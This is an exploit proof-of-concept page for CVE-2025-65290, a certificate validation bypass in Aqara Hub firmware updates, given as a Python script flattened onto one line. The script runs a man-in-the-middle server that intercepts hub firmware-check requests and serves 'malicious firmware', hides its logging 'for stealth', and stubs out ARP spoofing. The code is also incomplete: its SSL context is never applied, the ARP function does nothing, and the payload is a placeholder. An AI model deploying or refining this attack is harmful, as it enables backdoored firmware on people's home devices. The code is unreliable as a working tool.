CVE-2025-65290: Aqara Hub设备HTTPS固件更新证书验证绕过漏洞

#!/usr/bin/env python3 # CVE-2025-65290 PoC - Aqara Hub Certificate Validation Bypass # Author: Security Research Team # Note: This PoC is for educational and authorized testing purposes only import ssl import socket import http.server import socketserver from urllib.parse import urlparse import threading class MITMProxy(http.server.SimpleHTTPRequestHandler): def do_POST(self): """Handle firmware update requests from Aqara Hub devices""" parsed_path = urlparse(self.path) # Check if this is a firmware update request if '/api/v1/firmware/check' in parsed_path.path or '/ota' in parsed_path.path: # Log the incoming request for analysis content_length = int(self.headers.get('Content-Length', 0)) post_data = self.rfile.read(content_length) print(f"[+] Intercepted firmware check request from: {self.client_address}") print(f"[+] Request data: {post_data}") # Send malicious firmware response # In a real attack, this would contain a modified firmware binary malicious_response = self.create_malicious_firmware_response() self.send_response(200) self.send_header('Content-type', 'application/octet-stream') self.send_header('Content-Length', str(len(malicious_response))) self.end_headers() self.wfile.write(malicious_response) print("[+] Malicious firmware sent to target device") else: self.send_error(404) def create_malicious_firmware_response(self): """Generate malicious firmware payload""" # Placeholder: In real attack, this would be modified firmware # with backdoor/RCE capabilities return b'MALICIOUS_FIRMWARE_PAYLOAD_PLACEHOLDER' def log_message(self, format, *args): """Suppress default logging for stealth""" pass def start_mitm_server(port=8443): """Start the MITM proxy server""" # Create SSL context that accepts all certificates (vulnerability exploit) context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socketserver.TCPServer(("", port), MITMProxy) as httpd: print(f"[*] MITM Proxy listening on port {port}") print("[*] Waiting for Aqara Hub device connections...") httpd.serve_forever() def arp_spoof(target_ip, gateway_ip): """Perform ARP spoofing to intercept traffic (requires root)""" # Implementation would use scapy or similar print(f"[*] ARP spoofing: {target_ip} -> {gateway_ip}") pass if __name__ == "__main__": print("=" * 60) print("CVE-2025-65290 - Aqara Hub Certificate Validation Bypass") print("Affected: Camera Hub G3 <= 4.1.9_0027, Hub M2 <= 4.3.6_0027, Hub M3 <= 4.3.6_0025") print("=" * 60) start_mitm_server()